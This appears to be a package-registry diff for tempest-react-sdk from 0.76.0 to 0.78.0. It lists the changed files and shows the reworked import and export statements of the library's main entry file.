tempest-react-sdk 0.76.0 → 0.78.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +2 -2
- package/bin/create-tempest-app.e2e.test.mjs +112 -0
- package/bin/create-tempest-app.mjs +69 -28
- package/bin/lib/alias/collect.mjs +20 -3
- package/bin/lib/alias/index.mjs +12 -1
- package/bin/lib/alias/index.test.mjs +24 -0
- package/bin/lib/component/generate.mjs +191 -0
- package/bin/lib/component/generate.test.mjs +336 -0
- package/bin/lib/css/analyze.test.mjs +21 -1
- package/bin/lib/css/collect.mjs +14 -0
- package/bin/lib/css/extract.mjs +63 -5
- package/bin/lib/css/extract.test.mjs +110 -1
- package/bin/lib/css/fix.e2e.test.mjs +50 -0
- package/bin/lib/css/index.mjs +6 -1
- package/bin/lib/fs/contain.mjs +50 -0
- package/bin/lib/icons/generate.mjs +28 -3
- package/bin/lib/icons/generate.test.mjs +57 -1
- package/bin/lib/openapi/escape.mjs +224 -0
- package/bin/lib/openapi/generate.encode.test.mjs +120 -0
- package/bin/lib/openapi/generate.hostile.test.mjs +621 -0
- package/bin/lib/openapi/generate.mjs +129 -18
- package/bin/lib/openapi/generate.test.mjs +7 -2
- package/bin/lib/openapi/schema-to-zod.mjs +43 -4
- package/bin/tempest-gen.test.mjs +188 -0
- package/bin/tempest.mjs +263 -6
- package/dist/auth/create-tempest-auth.cjs +1 -1
- package/dist/auth/create-tempest-auth.cjs.map +1 -1
- package/dist/auth/create-tempest-auth.js +203 -58
- package/dist/auth/create-tempest-auth.js.map +1 -1
- package/dist/auth/refresh-queue.cjs +1 -1
- package/dist/auth/refresh-queue.cjs.map +1 -1
- package/dist/auth/refresh-queue.js +13 -6
- package/dist/auth/refresh-queue.js.map +1 -1
- package/dist/br/pix.cjs +1 -1
- package/dist/br/pix.cjs.map +1 -1
- package/dist/br/pix.js +85 -72
- package/dist/br/pix.js.map +1 -1
- package/dist/br.d.ts +19 -4
- package/dist/components/Chat/ChatAttachments.cjs +1 -1
- package/dist/components/Chat/ChatAttachments.cjs.map +1 -1
- package/dist/components/Chat/ChatAttachments.js +46 -38
- package/dist/components/Chat/ChatAttachments.js.map +1 -1
- package/dist/components/CodeBlock/CodeBlock.cjs +1 -1
- package/dist/components/CodeBlock/CodeBlock.cjs.map +1 -1
- package/dist/components/CodeBlock/CodeBlock.js +1 -1
- package/dist/components/CodeBlock/CodeBlock.js.map +1 -1
- package/dist/components/CodeBlock/tokenize.cjs +1 -1
- package/dist/components/CodeBlock/tokenize.cjs.map +1 -1
- package/dist/components/CodeBlock/tokenize.js +54 -25
- package/dist/components/CodeBlock/tokenize.js.map +1 -1
- package/dist/components/Markdown/markdown-parse.cjs +7 -5
- package/dist/components/Markdown/markdown-parse.cjs.map +1 -1
- package/dist/components/Markdown/markdown-parse.js +171 -90
- package/dist/components/Markdown/markdown-parse.js.map +1 -1
- package/dist/components/Toast/Toast.module.cjs +1 -1
- package/dist/components/Toast/Toast.module.cjs.map +1 -1
- package/dist/components/Toast/Toast.module.js +7 -3
- package/dist/components/Toast/Toast.module.js.map +1 -1
- package/dist/components/Toast/ToastProvider.cjs +1 -1
- package/dist/components/Toast/ToastProvider.cjs.map +1 -1
- package/dist/components/Toast/ToastProvider.js +77 -51
- package/dist/components/Toast/ToastProvider.js.map +1 -1
- package/dist/data/create-data-provider.cjs +1 -1
- package/dist/data/create-data-provider.cjs.map +1 -1
- package/dist/data/create-data-provider.js +32 -21
- package/dist/data/create-data-provider.js.map +1 -1
- package/dist/http/api-client.cjs +1 -1
- package/dist/http/api-client.cjs.map +1 -1
- package/dist/http/api-client.js +81 -73
- package/dist/http/api-client.js.map +1 -1
- package/dist/http/errors.cjs +1 -1
- package/dist/http/errors.cjs.map +1 -1
- package/dist/http/errors.js +39 -35
- package/dist/http/errors.js.map +1 -1
- package/dist/http/resumable-upload.cjs +1 -1
- package/dist/http/resumable-upload.cjs.map +1 -1
- package/dist/http/resumable-upload.js +141 -105
- package/dist/http/resumable-upload.js.map +1 -1
- package/dist/http/retry.cjs +1 -1
- package/dist/http/retry.cjs.map +1 -1
- package/dist/http/retry.js +5 -6
- package/dist/http/retry.js.map +1 -1
- package/dist/oauth/callback.cjs +2 -0
- package/dist/oauth/callback.cjs.map +1 -0
- package/dist/oauth/callback.js +42 -0
- package/dist/oauth/callback.js.map +1 -0
- package/dist/oauth/use-oauth-callback.cjs +1 -1
- package/dist/oauth/use-oauth-callback.cjs.map +1 -1
- package/dist/oauth/use-oauth-callback.js +13 -20
- package/dist/oauth/use-oauth-callback.js.map +1 -1
- package/dist/push/use-push-subscription.cjs +1 -1
- package/dist/push/use-push-subscription.cjs.map +1 -1
- package/dist/push/use-push-subscription.js +42 -42
- package/dist/push/use-push-subscription.js.map +1 -1
- package/dist/push/web-push-client.cjs +1 -1
- package/dist/push/web-push-client.cjs.map +1 -1
- package/dist/push/web-push-client.js +23 -3
- package/dist/push/web-push-client.js.map +1 -1
- package/dist/query/offline-persistence.cjs +1 -1
- package/dist/query/offline-persistence.cjs.map +1 -1
- package/dist/query/offline-persistence.js +68 -23
- package/dist/query/offline-persistence.js.map +1 -1
- package/dist/styles/component/Toast.css +6 -1
- package/dist/styles/feedback.css +6 -1
- package/dist/styles.css +1 -1
- package/dist/sw/background-sync.cjs +1 -1
- package/dist/sw/background-sync.cjs.map +1 -1
- package/dist/sw/background-sync.js +272 -60
- package/dist/sw/background-sync.js.map +1 -1
- package/dist/sw/cache-inspect.cjs.map +1 -1
- package/dist/sw/cache-inspect.js.map +1 -1
- package/dist/sw/cache.cjs +1 -1
- package/dist/sw/cache.cjs.map +1 -1
- package/dist/sw/cache.js +91 -64
- package/dist/sw/cache.js.map +1 -1
- package/dist/sw/credential-headers.cjs +2 -0
- package/dist/sw/credential-headers.cjs.map +1 -0
- package/dist/sw/credential-headers.js +17 -0
- package/dist/sw/credential-headers.js.map +1 -0
- package/dist/sw/session-data.cjs +2 -0
- package/dist/sw/session-data.cjs.map +1 -0
- package/dist/sw/session-data.js +17 -0
- package/dist/sw/session-data.js.map +1 -0
- package/dist/sw.cjs +1 -1
- package/dist/sw.d.ts +309 -23
- package/dist/sw.js +7 -5
- package/dist/telemetry/app-error-queue.cjs +1 -1
- package/dist/telemetry/app-error-queue.cjs.map +1 -1
- package/dist/telemetry/app-error-queue.js +19 -14
- package/dist/telemetry/app-error-queue.js.map +1 -1
- package/dist/telemetry/app-error-reporter.cjs +1 -1
- package/dist/telemetry/app-error-reporter.cjs.map +1 -1
- package/dist/telemetry/app-error-reporter.js +75 -34
- package/dist/telemetry/app-error-reporter.js.map +1 -1
- package/dist/telemetry/app-error-transport.cjs +1 -1
- package/dist/telemetry/app-error-transport.cjs.map +1 -1
- package/dist/telemetry/app-error-transport.js +16 -3
- package/dist/telemetry/app-error-transport.js.map +1 -1
- package/dist/tempest-react-sdk.cjs +1 -1
- package/dist/tempest-react-sdk.d.ts +1183 -64
- package/dist/tempest-react-sdk.js +160 -156
- package/dist/utils/csv.cjs +3 -3
- package/dist/utils/csv.cjs.map +1 -1
- package/dist/utils/csv.js +18 -14
- package/dist/utils/csv.js.map +1 -1
- package/dist/utils/owner-fingerprint.cjs +2 -0
- package/dist/utils/owner-fingerprint.cjs.map +1 -0
- package/dist/utils/owner-fingerprint.js +18 -0
- package/dist/utils/owner-fingerprint.js.map +1 -0
- package/dist/utils/safe-url.cjs +2 -0
- package/dist/utils/safe-url.cjs.map +1 -0
- package/dist/utils/safe-url.js +39 -0
- package/dist/utils/safe-url.js.map +1 -0
- package/dist/vite/tempest-csp.cjs +2 -2
- package/dist/vite/tempest-csp.cjs.map +1 -1
- package/dist/vite/tempest-csp.js +130 -64
- package/dist/vite/tempest-csp.js.map +1 -1
- package/dist/vite.d.ts +23 -5
- package/dist/webrtc/peer-link.cjs +1 -1
- package/dist/webrtc/peer-link.cjs.map +1 -1
- package/dist/webrtc/peer-link.js +2 -10
- package/dist/webrtc/peer-link.js.map +1 -1
- package/dist/webrtc/peer-mesh.cjs +1 -1
- package/dist/webrtc/peer-mesh.cjs.map +1 -1
- package/dist/webrtc/peer-mesh.js +110 -72
- package/dist/webrtc/peer-mesh.js.map +1 -1
- package/package.json +1 -1
- package/template-pwa/src/pwa.tsx +22 -0
- package/template-pwa/src/sw.ts +27 -14
- package/dist/components/Markdown/markdown-url.cjs +0 -2
- package/dist/components/Markdown/markdown-url.cjs.map +0 -1
- package/dist/components/Markdown/markdown-url.js +0 -28
- package/dist/components/Markdown/markdown-url.js.map +0 -1
|
@@ -210,159 +210,163 @@ import { useBarcodeScanner as Hr } from "./capture/use-barcode-scanner.js";
|
|
|
210
210
|
import { BarcodeScanner as Ur } from "./components/BarcodeScanner/BarcodeScanner.js";
|
|
211
211
|
import { aiChatStrings as Wr, isGenerating as Gr, lastAssistantId as Kr, roleLabel as qr, tailSignature as Jr, turnTime as Yr, visibleTurns as Xr } from "./components/AIChat/ai-chat-turns.js";
|
|
212
212
|
import { AIChatComposer as Zr } from "./components/AIChat/AIChatComposer.js";
|
|
213
|
-
import {
|
|
214
|
-
import {
|
|
215
|
-
import {
|
|
216
|
-
import {
|
|
217
|
-
import {
|
|
218
|
-
import {
|
|
219
|
-
import {
|
|
220
|
-
import {
|
|
221
|
-
import {
|
|
222
|
-
import {
|
|
223
|
-
import {
|
|
224
|
-
import {
|
|
225
|
-
import {
|
|
226
|
-
import {
|
|
227
|
-
import {
|
|
228
|
-
import {
|
|
229
|
-
import {
|
|
230
|
-
import {
|
|
231
|
-
import {
|
|
232
|
-
import {
|
|
233
|
-
import {
|
|
234
|
-
import {
|
|
235
|
-
import {
|
|
236
|
-
import {
|
|
237
|
-
import {
|
|
238
|
-
import {
|
|
239
|
-
import {
|
|
240
|
-
import {
|
|
241
|
-
import {
|
|
242
|
-
import {
|
|
243
|
-
import {
|
|
244
|
-
import {
|
|
245
|
-
import {
|
|
246
|
-
import {
|
|
247
|
-
import {
|
|
248
|
-
import {
|
|
249
|
-
import {
|
|
250
|
-
import {
|
|
251
|
-
import {
|
|
252
|
-
import {
|
|
253
|
-
import {
|
|
254
|
-
import {
|
|
255
|
-
import {
|
|
256
|
-
import {
|
|
257
|
-
import {
|
|
258
|
-
import {
|
|
259
|
-
import {
|
|
260
|
-
import {
|
|
261
|
-
import {
|
|
262
|
-
import {
|
|
263
|
-
import {
|
|
264
|
-
import {
|
|
265
|
-
import {
|
|
266
|
-
import {
|
|
267
|
-
import {
|
|
268
|
-
import {
|
|
269
|
-
import {
|
|
270
|
-
import {
|
|
271
|
-
import {
|
|
272
|
-
import {
|
|
273
|
-
import {
|
|
274
|
-
import {
|
|
275
|
-
import {
|
|
276
|
-
import {
|
|
277
|
-
import {
|
|
278
|
-
import {
|
|
279
|
-
import {
|
|
280
|
-
import {
|
|
281
|
-
import {
|
|
282
|
-
import {
|
|
283
|
-
import {
|
|
284
|
-
import {
|
|
285
|
-
import {
|
|
286
|
-
import {
|
|
287
|
-
import {
|
|
288
|
-
import {
|
|
289
|
-
import {
|
|
290
|
-
import {
|
|
291
|
-
import {
|
|
292
|
-
import {
|
|
293
|
-
import {
|
|
294
|
-
import {
|
|
295
|
-
import {
|
|
296
|
-
import {
|
|
297
|
-
import {
|
|
298
|
-
import {
|
|
299
|
-
import {
|
|
300
|
-
import {
|
|
301
|
-
import {
|
|
302
|
-
import {
|
|
303
|
-
import {
|
|
304
|
-
import {
|
|
305
|
-
import {
|
|
306
|
-
import {
|
|
307
|
-
import {
|
|
308
|
-
import {
|
|
309
|
-
import {
|
|
310
|
-
import {
|
|
311
|
-
import {
|
|
312
|
-
import {
|
|
313
|
-
import {
|
|
314
|
-
import {
|
|
315
|
-
import {
|
|
316
|
-
import {
|
|
317
|
-
import {
|
|
318
|
-
import {
|
|
319
|
-
import {
|
|
320
|
-
import {
|
|
321
|
-
import {
|
|
322
|
-
import {
|
|
323
|
-
import {
|
|
324
|
-
import {
|
|
325
|
-
import {
|
|
326
|
-
import {
|
|
327
|
-
import {
|
|
328
|
-
import {
|
|
329
|
-
import {
|
|
330
|
-
import {
|
|
331
|
-
import {
|
|
332
|
-
import {
|
|
333
|
-
import {
|
|
334
|
-
import {
|
|
335
|
-
import {
|
|
336
|
-
import {
|
|
337
|
-
import {
|
|
338
|
-
import {
|
|
339
|
-
import {
|
|
340
|
-
import {
|
|
341
|
-
import {
|
|
342
|
-
import {
|
|
343
|
-
import {
|
|
344
|
-
import {
|
|
345
|
-
import {
|
|
346
|
-
import {
|
|
347
|
-
import {
|
|
348
|
-
import {
|
|
349
|
-
import {
|
|
350
|
-
import {
|
|
351
|
-
import {
|
|
352
|
-
import {
|
|
353
|
-
import {
|
|
354
|
-
import {
|
|
355
|
-
import {
|
|
356
|
-
import {
|
|
357
|
-
import {
|
|
358
|
-
import {
|
|
359
|
-
import {
|
|
360
|
-
import {
|
|
361
|
-
import {
|
|
362
|
-
import {
|
|
363
|
-
import {
|
|
364
|
-
import {
|
|
365
|
-
import {
|
|
366
|
-
import {
|
|
367
|
-
import {
|
|
368
|
-
export { Qt as ABSENT_TEXT, ei as AIChat, Zr as AIChatComposer, $r as AIChatTurn, Fr as ALL_BARCODE_FORMATS, Vt as ALL_OPTION_VALUE, ga as API_ERROR_OFFLINE_KEY, _a as API_ERROR_VALIDATION_KEY, wr as AUDIO_MIME_CANDIDATES, $a as AccessControlProvider, t as Accordion, n as Alert, i as AppBar, is as AppProviders, Fo as AppRouter, s as AppShell, c as AspectRatio, Sr as AudioPlayer, Pr as AudioRecorder, Fa as AuthGuard, l as Avatar, u as AvatarGroup, a as BREAKPOINTS, d as Badge, f as Banner, ai as BarList, Ur as BarcodeScanner, p as BottomNavigation, h as BottomSheet, g as Breadcrumbs, Lo as BrowserRouter, _ as Button, v as ButtonSlot, so as CACHE_TIME, sc as CEPInput, cc as CNPJInput, lc as CPFInput, $n as Calendar, no as Can, y as Card, ar as Carousel, b as Center, yr as Chat, _r as ChatBubble, vr as ChatComposer, x as Checkbox, S as ChipInput, In as ClickOutside, An as CodeBlock, qn as Collapsible, w as Combobox, Xn as Command, Ln as ConditionalWrapper, E as ConfirmDialog, B as Container, Jn as ContextMenu, pc as Controller, kn as CopyButton, va as DEFAULT_API_ERROR_STRINGS, Ir as DEFAULT_BARCODE_FORMATS, Kc as DEFAULT_CAR_SPEED_KMH, ka as DEFAULT_CHUNK_SIZE, qc as DEFAULT_CIRCUITY_FACTOR, ca as DEFAULT_CSRF_COOKIE_NAME, la as DEFAULT_CSRF_HEADER_NAME, ks as DEFAULT_MAX_GAIN, Jc as DEFAULT_MODE_DURATION_FACTORS, bn as DEFAULT_PLAYBACK_RATES, Ba as DEFAULT_PUB_KEY_CRED_PARAMS, ye as DEFAULT_PUSH_TO_TALK_KEY, Ms as DEFAULT_VOICE_CHAIN, Bl as DIVERGING_STEP_COUNT, Vn as DataList, or as DataTable, O as DatePicker, nr as DateRangePicker, Hn as DescriptionList, k as Divider, A as Drawer, j as DropdownMenu, M as Dropzone, Vc as EARTH_RADIUS_KM, N as EmptyState, rs as ErrorBoundary, P as ErrorState, zn as ErrorText, Pl as FeatureFlagsProvider, F as FileUpload, ui as FilterBar, xi as FilterPanel, cr as FloatingActionButton, Rn as For, I as Form, L as FormActions, Qs as FormField, mc as FormProvider, R as FormRow, z as FormSection, ao as GoogleSignIn, V as Grid, bc as HEARTBEAT_CLOSE_CODE, Ro as HashRouter, Ft as Hide, Yn as HoverCard, xa as I18nProvider, Bn as Image, mn as ImageCropper, D as Input, X as InstallBanner, Z as InstallButton, mt as Kanban, gt as Kbd, Kn as Label, pr as Lightbox, zo as Link, sr as ListTile, Qr as Markdown, ni as Masonry, Bo as MemoryRouter, ir as Menubar, T as Modal, _t as ModalsProvider, Mn as Money, uc as MoneyInput, tr as MultiSelect, bt as NProgressBar, Vo as NavLink, yt as Navbar, Ho as Navigate, rr as NavigationMenu, lr as NavigationRail, vn as NotificationCenter, Vl as ORDINAL_START_STEP, ct as OfflineIndicator, Uo as Outlet, be as PUSH_TO_TALK_KEYS, wt as Page, Tt as Pagination, Va as PasskeyError, Et as PasswordInput, dc as PhoneInput, Ot as PinInput, kt as Popover, C as Portal, At as Progress, Tn as QRCapacityError, On as QRCode, po as QueryProvider, co as REFETCH_TIME, jt as Radio, Mt as RadioGroup, Nt as RangeSlider, Pt as RatingStars, dr as RefreshIndicator, jn as RelativeTime, Qn as Resizable, Fn as Reveal, Wo as Route, Po as RouteGuard, Go as Routes, Hl as SEQUENTIAL_STEP_COUNT, lo as STALE_TIME, Lt as SafeArea, gn as Scheduler, Zn as ScrollArea, Rt as SearchBar, St as Section, Ct as SectionHeader, zt as SegmentedControl, Bt as Select, It as Show, Kt as Sidebar, mr as SignaturePad, qt as Skeleton, er as Slider, Jt as Spacer, hn as Sparkline, Yt as Spinner, H as Stack, Xt as Stat, Zt as Stepper, rn as StepperInput, an as Switch, ft as SyncStatusBadge, sn as Table, cn as Tabs, on as Tag, El as TelemetryProvider, da as TempestApiError, To as TempestDataProvider, ln as Textarea, ts as ThemeProvider, ur as TimePicker, un as Timeline, fn as ToastProvider, Un as Toggle, Wn as ToggleGroup, Gn as ToggleGroupItem, dn as Tooltip, ri as Tour, al as TrajectoryMap, ti as Transfer, Nn as TreeView, Pn as TruncateText, pt as UpdatePrompt, xn as VideoPlayer, Sn as VirtualList, wn as VirtualTable, dt as VisuallyHidden, ls as WebPushClient, us as WebPushPermissionDeniedError, ds as WebPushUnsupportedError, fr as Wizard, Gt as activeNavKey, Wr as aiChatStrings, Te as announce, yi as applyFilters, ht as applyKanbanMove, ol as applyTheme, Hi as assertNever, Ha as base64UrlToBytes, Hc as bearingDeg, Mr as blobToWav, Xc as boundingBox, Zc as boundsCenter, oa as buildApiUrl, ii as buildBarListRows, U as buildOpenInChromeIntent, Ua as bytesToBase64Url, Kl as cachedResponseBytes, Oi as camelCase, ki as capitalize, Pi as chunk, $t as clamp, Ic as clampLatitude, Wa as classifyPasskeyError, Ee as clearAnnouncer, xs as clearCaches, e as cn, Cn as compareValues, wi as compressToString, Ti as compressedStorage, Ei as compressedStorageCodec, wl as consoleSink, Ol as consoleTelemetryAdapter, cl as contrastRatio, ha as createApiClient, Ml as createAppErrorReporter, Nl as createAppErrorTelemetryAdapter, As as createAudioBus, Cs as createAudioPlayer, Tr as createAudioRecorder, Pa as createAuthStore, Lr as createBarcodeDetector, ll as createColorScale, wo as createDataProvider, as as createEventStream, Rl as createGrowthBookFeatureFlagsAdapter, ba as createI18n, Ll as createInMemoryFlags, Yl as createInferenceProfiler, yl as createInverseSurface, Si as createJsonStorage, zl as createLaunchDarklyFeatureFlagsAdapter, Or as createLevelMeter, Dc as createLinkStatsSampler, Aa as createLocalUploadStorage, Tl as createLogger, Cr as createMediaRecorder, nl as createOSRMBackend, qs as createOfflineDatabase, So as createOfflineStore, Js as createOfflineSync, gs as createPartialResponse, Ga as createPasskeyClient, Fc as createPeerMesh, rl as createPositionTracker, Al as createPostHogTelemetryAdapter, uo as createQueryKeys, za as createRefreshQueue, ja as createResumableUpload, ro as createRoleAccessControl, es as createSelectors, kl as createSentryTelemetryAdapter, Ds as createSfxPool, $o as createStore, Qa as createTempestAuth, _l as createTheme, zs as createVideoRecorder, Ns as createVoiceChain, Sc as createWebSocket, ua as csrfHeaders, qi as debounce, Ia as decodeJWT, Di as decompressFromString, Ri as deepMerge, Y as defaultInstallHint, Io as defineRoutes, ya as describeApiError, jl as describeAppError, oi as describeFilter, Ul as divergingScale, ia as downloadCsv, mo as emptyOffsetPage, En as encodeQR, Nr as encodeWav, Dt as estimatePasswordStrength, et as estimateStorage, Yc as estimateTravel, Qc as expandBounds, si as filtersFromSearchParams, bi as filtersToQueryParams, ci as filtersToSearchParams, $c as fitProjection, en as formatBytes, nc as formatCEP, rc as formatCNPJ, di as formatCPF, tn as formatCompactNumber, fi as formatCurrency, pi as formatDate, mi as formatDateForInput, hi as formatDateTime, gi as formatDateTimeForInput, Jl as formatDurationMs, _i as formatPercent, vi as formatPhone, Oa as generateIdempotencyKey, Sl as getInitialTheme, Rr as getSupportedBarcodeFormats, bl as getThemePreset, Fi as groupBy, Uc as haversineKm, ul as hexToOklch, dl as hexToRgb, fl as hexToRgbaString, Ys as higherVersionWins, Ss as inspectCaches, ys as installBackgroundSync, ps as installNotificationClickHandler, _s as installPrecache, ms as installPushHandler, vs as installRuntimeCache, hs as installSkipWaitingListener, W as isAndroid, G as isAndroidWithoutPromptApi, fa as isApiError, br as isAudioOutputSelectionSupported, Er as isAudioRecordingSupported, zr as isBarcodeDetectionSupported, Ka as isConditionalMediationAvailable, Lc as isCoordinate, ho as isCursorPage, Ui as isDefined, zi as isEmpty, _e as isFullscreenSupported, Gr as isGenerating, K as isIOS, La as isJWTExpired, Ar as isMediaCaptureSupported, Wi as isNumber, go as isOffsetPage, qa as isPasskeySupported, Gi as isPlainObject, Ja as isPlatformAuthenticatorAvailable, ss as isPushSupported, xc as isRejectionCloseCode, pa as isRetriableStatus, Us as isScreenCaptureSupported, ta as isShareSupported, Gs as isSpeechRecognitionSupported, q as isStandalone, Ki as isString, sa as isTrustedCredentialTarget, Rc as isValidLatitude, zc as isValidLongitude, Bs as isVideoRecordingSupported, Ps as isVoiceChainIdle, Ai as kebabCase, Kr as lastAssistantId, Xs as lastWriteWins, Ra as lazyWithRetry, Do as listQueryKey, Dn as matrixToPath, Is as measureNoiseFloor, Ji as memoizeOne, Rs as monitorVoiceActivity, Fs as monitorVoiceChain, rt as moveItem, Br as normalizeBarcode, Bc as normalizeLongitude, xt as nprogress, pl as oklchToHex, Bi as omit, Yi as once, Oo as oneQueryKey, li as operatorsFor, Ea as parseResponse, Wc as pathLengthKm, nn as percentOf, io as permissionsFromToken, Co as persistQueryClientOffline, Vi as pick, Dr as pickAudioMimeType, Vs as pickVideoMimeType, ws as playAudio, ji as pluralize, el as projectMercator, xe as pushToTalkKeyLabel, $i as randomId, Ii as range, Oc as readAvailableOutgoingKbps, ql as readDeviceProfile, kc as readQualityLimitation, Ac as readRelayed, jc as readRoundTripMs, sl as readThemeToken, ml as readableForeground, hr as receiptLabel, Ko as redirect, bs as registerPeriodicSync, Xe as registerServiceWorker, hl as relativeLuminance, _n as relativeTime, bo as removeById, tt as requestPersistentStorage, Nc as resolveDegradation, gr as resolveReceiptState, ma as retry, gl as rgbToHex, qr as roleLabel, Pc as scaleForRoom, Wl as scaleSteps, Gl as sequentialScale, xr as setAudioOutput, r as setDevBuild, Ec as setSenderBitrate, wc as setTunedLocalDescription, na as share, ra as shareOrDownloadBlob, fo as shouldRetryQuery, Ze as skipWaiting, Zi as sleep, Mi as slugify, Ts as stopAudio, Ci as storage, Ls as suggestGateThreshold, Jr as tailSignature, vl as themeContrast, Cl as themeInitScript, xl as themePresets, Xi as throttle, aa as toCsv, Ht as toOptions, Gc as toRadians, Ni as truncate, Tc as tuneOpus, Yr as turnTime, Li as uniqueBy, ic as unmask, tl as unprojectMercator, Qe as unregisterAllServiceWorkers, Ma as uploadFingerprint, Da as uploadWithProgress, xo as upsertById, cs as urlBase64ToUint8Array, eo as useAccessControl, De as useAnnounce, ce as useAsync, Es as useAudio, js as useAudioBus, kr as useAudioRecorder, Hr as useBarcodeScanner, he as useBeforeInstallPrompt, o as useBreakpoint, to as useCan, Ke as useClickOutside, ee as useClientFilter, pe as useClipboard, ze as useCountdown, Re as useCounter, ko as useCreate, vo as useCursorQuery, Eo as useDataProvider, Q as useDebounce, te as useDeepMemo, Ao as useDelete, Ta as useDescribeApiError, Ie as useDisclosure, Ve as useDocumentTitle, ue as useDocumentVisibility, re as useDraftFilters, Zs as useErrorHandler, ae as useEventListener, os as useEventStream, He as useFavicon, Fl as useFeatureFlag, hc as useFieldArray, Il as useFlagValue, m as useFocusTrap, gc as useForm, _c as useFormContext, vc as useFormState, ve as useFullscreen, Ce as useGeolocation, Pe as useHover, Sa as useI18n, ge as useIdle, J as useInstallPrompt, de as useIntersectionObserver, Ae as useInterval, qe as useIsFirstRender, me as useKeyboardShortcut, ne as useLatestRef, Mc as useLinkStats, jo as useList, Le as useListState, oe as useLocalStorage, qo as useLocation, Fe as useLongPress, Ye as useLongPressHandlers, Ue as useMap, Jo as useMatch, st as useMediaDevices, ot as useMediaPermission, ie as useMediaQuery, jr as useMicrophone, vt as useModals, Yo as useNavigate, yn as useNotificationInbox, oo as useOAuthCallback, Je as useObjectUrl, yo as useOfflineMutation, lt as useOfflineSync, Mo as useOne, le as useOnline, Ca as useOptionalI18n, _o as usePaginatedQuery, $ as usePagination, Xo as useParams, Ya as usePasskeyCapabilities, Xa as usePasskeyRegistration, Za as usePasskeySignIn, Na as usePoll, il as usePositionTracker, ke as usePrevious, fs as usePushSubscription, Se as usePushToTalk, Ge as useQueue, fe as useResizeObserver, Zo as useRouteError, Ws as useScreenCapture, we as useScrollLock, at as useScrollOverflow, Qo as useSearchParams, $e as useServiceWorkerUpdate, We as useSet, Os as useSfxPool, it as useSortable, Ks as useSpeechRecognition, Oe as useStableCallback, nt as useStorageEstimate, ut as useSyncStatus, Dl as useTelemetry, ns as useTheme, Me as useThrottle, je as useTimeout, pn as useToast, se as useToggle, Vr as useTorch, wa as useTranslate, Be as useTypewriter, No as useUpdate, fc as useViaCEP, Hs as useVideoRecorder, yc as useWatch, Cc as useWebSocket, Ne as useWindowSize, tc as useZodForm, ac as validateCNPJ, oc as validateCPF, $s as validateForm, Xr as visibleTurns, Ut as withAllOption, Wt as withEmptyOption, Qi as withTimeout, ea as writeXlsx, ec as zodResolver };
|
|
213
|
+
import { safeAttachmentUrl as Qr, safeImageUrl as $r, safeLinkUrl as ei } from "./utils/safe-url.js";
|
|
214
|
+
import { Markdown as ti } from "./components/Markdown/Markdown.js";
|
|
215
|
+
import { AIChatTurn as ni } from "./components/AIChat/AIChatTurn.js";
|
|
216
|
+
import { AIChat as ri } from "./components/AIChat/AIChat.js";
|
|
217
|
+
import { Transfer as ii } from "./components/Transfer/Transfer.js";
|
|
218
|
+
import { Masonry as ai } from "./components/Masonry/Masonry.js";
|
|
219
|
+
import { Tour as oi } from "./components/Tour/Tour.js";
|
|
220
|
+
import { buildBarListRows as si } from "./components/BarList/bar-list-model.js";
|
|
221
|
+
import { BarList as ci } from "./components/BarList/BarList.js";
|
|
222
|
+
import { describeFilter as li, filtersFromSearchParams as ui, filtersToSearchParams as di, operatorsFor as fi } from "./components/FilterBar/filter-model.js";
|
|
223
|
+
import { FilterBar as pi } from "./components/FilterBar/FilterBar.js";
|
|
224
|
+
import { formatCPF as mi, formatCurrency as hi, formatDate as gi, formatDateForInput as _i, formatDateTime as vi, formatDateTimeForInput as yi, formatPercent as bi, formatPhone as xi } from "./utils/format.js";
|
|
225
|
+
import { applyFilters as Si } from "./components/FilterBar/filter-apply.js";
|
|
226
|
+
import { filtersToQueryParams as Ci } from "./components/FilterBar/filter-query.js";
|
|
227
|
+
import { FilterPanel as wi } from "./components/FilterPanel/FilterPanel.js";
|
|
228
|
+
import { createJsonStorage as Ti, storage as Ei } from "./utils/storage.js";
|
|
229
|
+
import { compressToString as Di, compressedStorage as Oi, compressedStorageCodec as ki, decompressFromString as Ai } from "./utils/compressed-storage.js";
|
|
230
|
+
import { camelCase as ji, capitalize as Mi, kebabCase as Ni, pluralize as Pi, slugify as Fi, truncate as Ii } from "./utils/strings.js";
|
|
231
|
+
import { chunk as Li, groupBy as Ri, range as zi, uniqueBy as Bi } from "./utils/arrays.js";
|
|
232
|
+
import { deepMerge as Vi, isEmpty as Hi, omit as Ui, pick as Wi } from "./utils/objects.js";
|
|
233
|
+
import { assertNever as Gi, isDefined as Ki, isNumber as qi, isPlainObject as Ji, isString as Yi } from "./utils/guards.js";
|
|
234
|
+
import { debounce as Xi, memoizeOne as Zi, once as Qi, throttle as $i } from "./utils/functions.js";
|
|
235
|
+
import { sleep as ea, withTimeout as ta } from "./utils/promises.js";
|
|
236
|
+
import { randomId as na } from "./utils/ids.js";
|
|
237
|
+
import { writeXlsx as ra } from "./utils/xlsx.js";
|
|
238
|
+
import { isShareSupported as ia, share as aa } from "./share/share.js";
|
|
239
|
+
import { shareOrDownloadBlob as oa } from "./share/share-or-download.js";
|
|
240
|
+
import { downloadCsv as sa, toCsv as ca } from "./utils/csv.js";
|
|
241
|
+
import { buildApiUrl as la } from "./http/build-url.js";
|
|
242
|
+
import { isTrustedCredentialTarget as ua } from "./http/credential-scope.js";
|
|
243
|
+
import { DEFAULT_CSRF_COOKIE_NAME as da, DEFAULT_CSRF_HEADER_NAME as fa, csrfHeaders as pa } from "./http/csrf.js";
|
|
244
|
+
import { SessionSupersededError as ma, TempestApiError as ha, isApiError as ga, isRetriableStatus as _a } from "./http/errors.js";
|
|
245
|
+
import { retry as va } from "./http/retry.js";
|
|
246
|
+
import { createApiClient as ya } from "./http/api-client.js";
|
|
247
|
+
import { API_ERROR_OFFLINE_KEY as ba, API_ERROR_VALIDATION_KEY as xa, DEFAULT_API_ERROR_STRINGS as Sa, describeApiError as Ca } from "./http/describe-api-error.js";
|
|
248
|
+
import { createI18n as wa } from "./i18n/create-i18n.js";
|
|
249
|
+
import { I18nProvider as Ta, useI18n as Ea, useOptionalI18n as Da, useTranslate as Oa } from "./i18n/I18nProvider.js";
|
|
250
|
+
import { useDescribeApiError as ka } from "./http/use-describe-api-error.js";
|
|
251
|
+
import { parseResponse as Aa } from "./http/parse-response.js";
|
|
252
|
+
import { uploadWithProgress as ja } from "./http/upload-with-progress.js";
|
|
253
|
+
import { generateIdempotencyKey as Ma } from "./http/idempotency.js";
|
|
254
|
+
